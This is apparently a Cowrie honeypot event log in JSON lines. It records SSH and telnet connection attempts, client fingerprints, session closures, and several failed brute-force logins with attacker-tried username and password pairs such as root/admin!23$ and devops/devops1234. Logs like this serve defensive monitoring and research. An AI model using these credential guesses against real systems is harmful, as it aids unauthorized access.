{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:05.195268Z","src_ip":"220.119.37.141","session":"900c052ea4cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53660,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ee5f4f4f89a","protocol":"telnet","message":"New connection: 161.132.53.68:53660 (159.203.135.109:23) [session: 5ee5f4f4f89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:05.355131Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!23$","message":"login attempt [root/admin!23$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:06.037380Z","src_ip":"220.119.37.141","session":"900c052ea4cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47940,"dst_ip":"159.203.135.109","dst_port":23,"session":"c870877fc72e","protocol":"telnet","message":"New connection: 161.132.53.68:47940 (159.203.135.109:23) [session: c870877fc72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:06.956107Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:07.244414Z","src_ip":"220.119.37.141","session":"900c052ea4cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47944,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c4ccb771516","protocol":"telnet","message":"New connection: 161.132.53.68:47944 (159.203.135.109:23) [session: 3c4ccb771516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:07.898534Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57778,"dst_ip":"159.203.135.109","dst_port":23,"session":"f60f5c0994cd","protocol":"telnet","message":"New connection: 192.119.108.58:57778 (159.203.135.109:23) [session: f60f5c0994cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:08.814514Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47954,"dst_ip":"159.203.135.109","dst_port":23,"session":"a676603be1c3","protocol":"telnet","message":"New connection: 161.132.53.68:47954 (159.203.135.109:23) [session: a676603be1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:09.021188Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47970,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecb8775c0ca2","protocol":"telnet","message":"New connection: 161.132.53.68:47970 (159.203.135.109:23) [session: ecb8775c0ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:09.511928Z"}
{"eventid":"cowrie.session.closed","duration":31.943870782852173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:10.359988Z","src_ip":"161.132.53.68","session":"31b7c5bb1181","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47986,"dst_ip":"159.203.135.109","dst_port":23,"session":"b691099c27e0","protocol":"telnet","message":"New connection: 161.132.53.68:47986 (159.203.135.109:23) [session: b691099c27e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:11.206148Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48002,"dst_ip":"159.203.135.109","dst_port":23,"session":"926939ec6967","protocol":"telnet","message":"New connection: 161.132.53.68:48002 (159.203.135.109:23) [session: 926939ec6967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:13.464885Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":39088,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb5e9690c884","protocol":"telnet","message":"New connection: 161.132.53.68:39088 (159.203.135.109:23) [session: cb5e9690c884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:19.106276Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":39100,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f6a33c7c5e3","protocol":"telnet","message":"New connection: 161.132.53.68:39100 (159.203.135.109:23) [session: 0f6a33c7c5e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:20.546715Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36170,"dst_ip":"159.203.135.109","dst_port":23,"session":"f44ef6348631","protocol":"telnet","message":"New connection: 192.119.108.58:36170 (159.203.135.109:23) [session: f44ef6348631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:20.666878Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":56636,"dst_ip":"159.203.135.109","dst_port":22,"session":"f196f8ba3ec1","protocol":"ssh","message":"New connection: 223.17.5.126:56636 (159.203.135.109:22) [session: f196f8ba3ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:20.865291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:20.870222Z","src_ip":"223.17.5.126","session":"f196f8ba3ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:21.091151Z","src_ip":"223.17.5.126","session":"f196f8ba3ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123qwe!@#","message":"login attempt [user/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:21.994898Z","src_ip":"223.17.5.126","session":"f196f8ba3ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:23.215810Z","src_ip":"223.17.5.126","session":"f196f8ba3ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.23400855064392,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:24.544124Z","src_ip":"161.132.53.68","session":"487b104f97db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38942,"dst_ip":"159.203.135.109","dst_port":23,"session":"c50d6de1d0ff","protocol":"telnet","message":"New connection: 192.119.108.58:38942 (159.203.135.109:23) [session: c50d6de1d0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:27.856699Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":43620,"dst_ip":"10.17.0.5","dst_port":22,"session":"f781661bcf48","protocol":"ssh","message":"New connection: 114.35.59.237:43620 (10.17.0.5:22) [session: f781661bcf48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:28.081785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:28.086792Z","src_ip":"114.35.59.237","session":"f781661bcf48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:28.305555Z","src_ip":"114.35.59.237","session":"f781661bcf48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34660,"dst_ip":"159.203.135.109","dst_port":23,"session":"097ae18532a6","protocol":"telnet","message":"New connection: 161.132.53.68:34660 (159.203.135.109:23) [session: 097ae18532a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:28.594697Z"}
{"eventid":"cowrie.session.closed","duration":30.40523934364319,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:29.104039Z","src_ip":"161.132.53.68","session":"0a5efd29be7f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"git","password":"1q2w3e4r5t6y","message":"login attempt [git/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:29.198463Z","src_ip":"114.35.59.237","session":"f781661bcf48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34670,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2f88bfe9b9a","protocol":"telnet","message":"New connection: 161.132.53.68:34670 (159.203.135.109:23) [session: e2f88bfe9b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:29.980278Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34678,"dst_ip":"159.203.135.109","dst_port":23,"session":"6de05b5d35e5","protocol":"telnet","message":"New connection: 161.132.53.68:34678 (159.203.135.109:23) [session: 6de05b5d35e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:30.155281Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34686,"dst_ip":"159.203.135.109","dst_port":23,"session":"2543740ba6af","protocol":"telnet","message":"New connection: 161.132.53.68:34686 (159.203.135.109:23) [session: 2543740ba6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:30.192390Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:30.414553Z","src_ip":"114.35.59.237","session":"f781661bcf48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34700,"dst_ip":"159.203.135.109","dst_port":23,"session":"f27e37ccc51a","protocol":"telnet","message":"New connection: 161.132.53.68:34700 (159.203.135.109:23) [session: f27e37ccc51a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:30.504183Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34712,"dst_ip":"159.203.135.109","dst_port":23,"session":"73f833857d34","protocol":"telnet","message":"New connection: 161.132.53.68:34712 (159.203.135.109:23) [session: 73f833857d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:32.327950Z"}
{"eventid":"cowrie.session.closed","duration":32.10015273094177,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:34.404803Z","src_ip":"161.132.53.68","session":"68c4ebd1e369","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.641048669815063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:35.687832Z","src_ip":"192.119.108.58","session":"3b2ae81e5b62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34714,"dst_ip":"159.203.135.109","dst_port":23,"session":"e88d62d36326","protocol":"telnet","message":"New connection: 161.132.53.68:34714 (159.203.135.109:23) [session: e88d62d36326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:36.228409Z"}
{"eventid":"cowrie.session.closed","duration":31.475437879562378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:36.830468Z","src_ip":"161.132.53.68","session":"5ee5f4f4f89a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.56053829193115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:37.592407Z","src_ip":"161.132.53.68","session":"efbca66c684c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.337119340896606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:38.293137Z","src_ip":"161.132.53.68","session":"c870877fc72e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37186,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ee75c12c744","protocol":"telnet","message":"New connection: 161.132.53.68:37186 (159.203.135.109:23) [session: 8ee75c12c744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:38.429245Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37200,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae08058ab045","protocol":"telnet","message":"New connection: 161.132.53.68:37200 (159.203.135.109:23) [session: ae08058ab045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:38.672551Z"}
{"eventid":"cowrie.session.closed","duration":30.58115816116333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:39.395548Z","src_ip":"192.119.108.58","session":"f60f5c0994cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904133796691895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:40.415953Z","src_ip":"161.132.53.68","session":"ecb8775c0ca2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.22156548500061,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:41.119969Z","src_ip":"161.132.53.68","session":"3c4ccb771516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37210,"dst_ip":"159.203.135.109","dst_port":23,"session":"75b4e1581541","protocol":"telnet","message":"New connection: 161.132.53.68:37210 (159.203.135.109:23) [session: 75b4e1581541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:41.600973Z"}
{"eventid":"cowrie.session.closed","duration":32.82360363006592,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:41.844675Z","src_ip":"161.132.53.68","session":"a676603be1c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.45313000679016,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:43.659206Z","src_ip":"161.132.53.68","session":"b691099c27e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.454057931900024,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:45.918860Z","src_ip":"161.132.53.68","session":"926939ec6967","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37724,"dst_ip":"159.203.135.109","dst_port":23,"session":"27ff923dd954","protocol":"telnet","message":"New connection: 161.132.53.68:37724 (159.203.135.109:23) [session: 27ff923dd954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:47.172228Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":52052,"dst_ip":"159.203.135.109","dst_port":23,"session":"30b166ee1577","protocol":"telnet","message":"New connection: 192.119.108.58:52052 (159.203.135.109:23) [session: 30b166ee1577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:49.298736Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":53412,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aa813bf5126","protocol":"telnet","message":"New connection: 192.119.108.58:53412 (159.203.135.109:23) [session: 2aa813bf5126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:50.632348Z"}
{"eventid":"cowrie.session.closed","duration":30.407976627349854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:51.074746Z","src_ip":"192.119.108.58","session":"f44ef6348631","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.25990891456604,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:51.366090Z","src_ip":"161.132.53.68","session":"cb5e9690c884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":52942,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d9bebd5c64f","protocol":"ssh","message":"New connection: 124.18.182.99:52942 (10.17.0.5:22) [session: 6d9bebd5c64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:51.960573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:51.971913Z","src_ip":"124.18.182.99","session":"6d9bebd5c64f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:52.140997Z","src_ip":"124.18.182.99","session":"6d9bebd5c64f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops1234","message":"login attempt [devops/devops1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:52.847533Z","src_ip":"124.18.182.99","session":"6d9bebd5c64f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.380221128463745,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:52.926842Z","src_ip":"161.132.53.68","session":"0f6a33c7c5e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:54.020634Z","src_ip":"124.18.182.99","session":"6d9bebd5c64f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":36416,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5d86d61fe45","protocol":"ssh","message":"New connection: 200.105.172.184:36416 (159.203.135.109:22) [session: f5d86d61fe45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:57.986845Z"}
